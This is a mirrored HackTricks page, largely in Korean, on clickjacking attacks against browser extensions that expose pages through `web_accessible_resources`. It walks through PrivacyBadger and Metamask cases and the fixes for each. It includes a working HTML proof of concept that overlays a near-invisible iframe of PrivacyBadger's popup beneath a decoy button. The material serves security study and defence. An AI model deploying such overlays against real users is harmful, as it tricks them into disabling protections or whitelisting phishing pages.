mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-22 12:43:23 +00:00
127 lines
7.6 KiB
Markdown
127 lines
7.6 KiB
Markdown
# BrowExt - ClickJacking
|
|
|
|
{% hint style="success" %}
|
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
|
|
|
<details>
|
|
|
|
<summary>Support HackTricks</summary>
|
|
|
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|
|
|
</details>
|
|
{% endhint %}
|
|
|
|
## Basic Information
|
|
|
|
이 페이지는 브라우저 확장에서 ClickJacking 취약점을 악용할 것입니다.\
|
|
ClickJacking이 무엇인지 모른다면 다음을 확인하세요:
|
|
|
|
{% content-ref url="../clickjacking.md" %}
|
|
[clickjacking.md](../clickjacking.md)
|
|
{% endcontent-ref %}
|
|
|
|
확장 프로그램은 **`manifest.json`** 파일을 포함하고 있으며, 이 JSON 파일에는 `web_accessible_resources` 필드가 있습니다. Chrome 문서에서 이에 대해 다음과 같이 설명합니다:
|
|
|
|
> 이러한 리소스는 **`chrome-extension://[PACKAGE ID]/[PATH]`** URL을 통해 웹 페이지에서 사용할 수 있으며, 이는 **`extension.getURL method`**로 생성할 수 있습니다. 허용된 리소스는 적절한 CORS 헤더와 함께 제공되므로 XHR과 같은 메커니즘을 통해 사용할 수 있습니다.[1](https://blog.lizzie.io/clickjacking-privacy-badger.html#fn.1)
|
|
|
|
브라우저 확장의 **`web_accessible_resources`**는 단순히 웹을 통해 접근할 수 있는 것이 아니라, 확장의 고유한 권한으로 작동합니다. 이는 다음과 같은 기능을 수행할 수 있음을 의미합니다:
|
|
|
|
* 확장의 상태 변경
|
|
* 추가 리소스 로드
|
|
* 브라우저와 어느 정도 상호작용
|
|
|
|
그러나 이 기능은 보안 위험을 초래합니다. **`web_accessible_resources`** 내의 리소스가 중요한 기능을 가지고 있다면, 공격자는 이 리소스를 외부 웹 페이지에 삽입할 수 있습니다. 이 페이지를 방문하는 무심한 사용자는 이 삽입된 리소스를 우연히 활성화할 수 있습니다. 이러한 활성화는 확장 리소스의 권한과 기능에 따라 의도치 않은 결과를 초래할 수 있습니다.
|
|
|
|
## PrivacyBadger Example
|
|
|
|
확장 프로그램 PrivacyBadger에서 `skin/` 디렉토리가 다음과 같이 `web_accessible_resources`로 선언된 것과 관련된 취약점이 발견되었습니다 (원본 [블로그 게시물](https://blog.lizzie.io/clickjacking-privacy-badger.html) 확인):
|
|
```json
|
|
"web_accessible_resources": [
|
|
"skin/*",
|
|
"icons/*"
|
|
]
|
|
```
|
|
이 구성은 잠재적인 보안 문제를 초래했습니다. 구체적으로, 브라우저에서 PrivacyBadger 아이콘과 상호작용할 때 렌더링되는 `skin/popup.html` 파일이 `iframe` 내에 삽입될 수 있습니다. 이 삽입은 사용자가 "이 웹사이트에 대해 PrivacyBadger 비활성화"를 무심코 클릭하도록 속이는 데 악용될 수 있습니다. 이러한 행동은 PrivacyBadger 보호를 비활성화하여 사용자의 개인 정보를 손상시키고, 사용자가 더 많은 추적을 받을 수 있는 위험에 처하게 합니다. 이 취약점의 시각적 시연은 [**https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm**](https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm)에서 제공된 ClickJacking 비디오 예제를 통해 확인할 수 있습니다.
|
|
|
|
이 취약점을 해결하기 위해 간단한 해결책이 구현되었습니다: `/skin/*`을 `web_accessible_resources` 목록에서 제거하는 것입니다. 이 변경은 `skin/` 디렉토리의 콘텐츠가 웹 접근 가능한 리소스를 통해 접근되거나 조작될 수 없도록 하여 위험을 효과적으로 완화했습니다.
|
|
|
|
수정은 간단했습니다: **`web_accessible_resources`에서 `/skin/*`을 제거하십시오**.
|
|
|
|
### PoC
|
|
```html
|
|
<!--https://blog.lizzie.io/clickjacking-privacy-badger.html-->
|
|
|
|
<style>
|
|
iframe {
|
|
width: 430px;
|
|
height: 300px;
|
|
opacity: 0.01;
|
|
float: top;
|
|
position: absolute;
|
|
}
|
|
|
|
#stuff {
|
|
float: top;
|
|
position: absolute;
|
|
}
|
|
|
|
button {
|
|
float: top;
|
|
position: absolute;
|
|
top: 168px;
|
|
left: 100px;
|
|
}
|
|
|
|
</style>
|
|
|
|
<div id="stuff">
|
|
<h1>
|
|
Click the button
|
|
</h1>
|
|
<button id="button">
|
|
click me
|
|
</button>
|
|
</div>
|
|
|
|
<iframe src="chrome-extension://ablpimhddhnaldgkfbpafchflffallca/skin/popup.html">
|
|
</iframe>
|
|
```
|
|
## Metamask 예시
|
|
|
|
A [**blog post about a ClickJacking in metamask can be found here**](https://slowmist.medium.com/metamask-clickjacking-vulnerability-analysis-f3e7c22ff4d9). 이 경우, Metamask는 접근하는 데 사용된 프로토콜이 **`https:`** 또는 **`http:`**인지 확인하여 취약점을 수정했습니다 (예: **`chrome:`** 아님):
|
|
|
|
<figure><img src="../../.gitbook/assets/image (21).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
**Metamask 확장 프로그램에서 수정된 또 다른 ClickJacking**은 사용자가 `“web_accessible_resources”: [“inpage.js”, “phishing.html”]` 때문에 페이지가 피싱으로 의심될 때 **Click to whitelist**할 수 있었다는 것입니다. 해당 페이지가 Clickjacking에 취약했기 때문에, 공격자는 피해자가 이를 인식하지 못한 채로 화이트리스트에 추가하도록 클릭하게 만들기 위해 정상적인 것을 보여줄 수 있었고, 그 후 피싱 페이지로 돌아가게 됩니다.
|
|
|
|
## Steam Inventory Helper 예시
|
|
|
|
다음 페이지를 확인하여 **XSS**가 브라우저 확장에서 **ClickJacking** 취약점과 어떻게 연결되었는지 확인하세요:
|
|
|
|
{% content-ref url="browext-xss-example.md" %}
|
|
[browext-xss-example.md](browext-xss-example.md)
|
|
{% endcontent-ref %}
|
|
|
|
## 참고문헌
|
|
|
|
* [https://blog.lizzie.io/clickjacking-privacy-badger.html](https://blog.lizzie.io/clickjacking-privacy-badger.html)
|
|
* [https://slowmist.medium.com/metamask-clickjacking-vulnerability-analysis-f3e7c22ff4d9](https://slowmist.medium.com/metamask-clickjacking-vulnerability-analysis-f3e7c22ff4d9)
|
|
|
|
{% hint style="success" %}
|
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
|
|
|
<details>
|
|
|
|
<summary>Support HackTricks</summary>
|
|
|
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|
|
|
</details>
|
|
{% endhint %}
|